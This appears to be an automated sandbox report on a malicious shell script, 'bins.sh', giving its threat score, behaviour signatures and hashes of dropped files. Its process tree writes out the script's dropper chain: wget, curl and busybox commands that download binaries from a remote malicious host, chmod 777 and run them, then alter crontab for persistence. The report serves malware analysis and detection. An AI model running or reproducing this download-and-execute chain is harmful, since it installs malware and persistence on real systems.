Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09/11/2024, 13:41

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241109-qy4rssvjfs
  • SHA256 623e3c1314fabbc0c20a6264bcad1f14f53975d61892d2b93a815974ca8c0ff0
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1753) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 14 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:767
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:768
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:772
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              PID:803
            • /bin/rm
              rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
                PID:805
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:811
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:813
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:814
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:817
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:818
                    • /bin/rm
                      rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                      2⤵
                        PID:828
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                        2⤵
                        • System Network Configuration Discovery
                        PID:832
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                        2⤵
                        • System Network Configuration Discovery
                        PID:834

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
                          • Path /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
                          • Size 119KB
                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
                          • Path /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
                          • Size 111KB
                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          • Path /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
                          • Path /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
                          • Size 151KB
                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.qaSf19
                          • Path /var/spool/cron/crontabs/tmp.qaSf19
                          • Size 210B
                          • SHA256 d60a33beb5e1d685ae98c93b9ff53b4c4091264d12901ebec6e0d4fbc07b7068
                          • MD5 SHA1 SHA512
                          Submit Download